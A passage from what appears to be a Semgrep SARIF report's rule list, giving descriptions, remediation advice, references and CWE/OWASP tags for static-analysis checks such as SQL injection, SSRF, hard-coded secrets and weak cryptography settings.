`bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","id":"php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","name":"php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources."},"help":{"markdown":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/resource-exposure/](https://cloudsplaining.readthedocs.io/en/latest/glossary/resource-exposure/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py)\n","text":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","id":"terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","name":"terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf"},"help":{"markdown":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-6.0)\n - [https://www.synacktiv.com/en/publications/izi-izi-pwn2own-ics-miami.html](https://www.synacktiv.com/en/publications/izi-izi-pwn2own-ics-miami.html)\n","text":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","id":"csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","name":"csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application."},"help":{"markdown":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application."},"helpUri":"https://semgrep.dev/r/swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","id":"swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","name":"swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","properties":{"precision":"very-high","tags":["CWE-35: Path Traversal","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","id":"terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","name":"terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2."},"help":{"markdown":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#min_tls_version](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#min_tls_version)\n - [https://docs.microsoft.com/en-us/azure/storage/common/transport-layer-security-configure-minimum-version](https://docs.microsoft.com/en-us/azure/storage/common/transport-layer-security-configure-minimum-version)\n","text":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","id":"terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","name":"terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-url.pg-connection-url)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-url.pg-connection-url","id":"rust.secrets.sqlx.pg-connection-url.pg-connection-url","name":"rust.secrets.sqlx.pg-connection-url.pg-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.pg-connection-url.pg-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Function sweepToken is allowed to be called by anyone"},"help":{"markdown":"Function sweepToken is allowed to be called by anyone\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted)\n - [https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2](https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2)\n - [https://chainsecurity.com/security-audit/compound-ctoken/](https://chainsecurity.com/security-audit/compound-ctoken/)\n - [https://blog.openzeppelin.com/compound-comprehensive-protocol-audit/](https://blog.openzeppelin.com/compound-comprehensive-protocol-audit/)\n - [https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f](https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f)\n","text":"Function sweepToken is allowed to be called by anyone"},"helpUri":"https://semgrep.dev/r/solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","id":"solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","name":"solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.xpath.tainted-xpath.tainted-xpath)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.spring.xpath.tainted-xpath.tainted-xpath","id":"java.spring.xpath.tainted-xpath.tainted-xpath","name":"java.spring.xpath.tainted-xpath.tainted-xpath","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.xpath.tainted-xpath.tainted-xpath"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","id":"python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","name":"python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","id":"java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","name":"java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"You should probably use Filename.get_temp_dirname()."},"help":{"markdown":"You should probably use Filename.get_temp_dirname().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.slash-tmp.not-portable-tmp-string)\n","text":"You should probably use Filename.get_temp_dirname()."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.slash-tmp.not-portable-tmp-string","id":"ocaml.lang.portability.slash-tmp.not-portable-tmp-string","name":"ocaml.lang.portability.slash-tmp.not-portable-tmp-string","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.slash-tmp.not-portable-tmp-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","id":"ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","name":"ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","id":"csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","name":"csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure."},"help":{"markdown":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.missing-internal.missing-internal)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md)\n - [https://nginx.org/en/docs/http/ngx_http_core_module.html#internal](https://nginx.org/en/docs/http/ngx_http_core_module.html#internal)\n","text":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.missing-internal.missing-internal","id":"generic.nginx.security.missing-internal.missing-internal","name":"generic.nginx.security.missing-internal.missing-internal","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.missing-internal.missing-internal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine."},"help":{"markdown":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2017/go-grpc-beyond-basics/#:~:text=disables%20transport%20security](https://blog.gopheracademy.com/advent-2017/go-grpc-beyond-basics/#:~:text=disables%20transport%20security)\n","text":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine."},"helpUri":"https://semgrep.dev/r/javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","id":"javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","name":"javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection."},"help":{"markdown":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation)\n - [https://www.oracle.com/java/technologies/javase/tlsreadme.html](https://www.oracle.com/java/technologies/javase/tlsreadme.html)\n","text":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","id":"problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","name":"problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries."},"help":{"markdown":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length)\n - [https://www.securesystems.de/blog/forging_ciphertexts_under_Galois_Counter_Mode_for_the_Node_js_crypto_module/](https://www.securesystems.de/blog/forging_ciphertexts_under_Galois_Counter_Mode_for_the_Node_js_crypto_module/)\n - [https://nodejs.org/api/crypto.html#cryptocreatedecipherivalgorithm-key-iv-options](https://nodejs.org/api/crypto.html#cryptocreatedecipherivalgorithm-key-iv-options)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)\n","text":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary 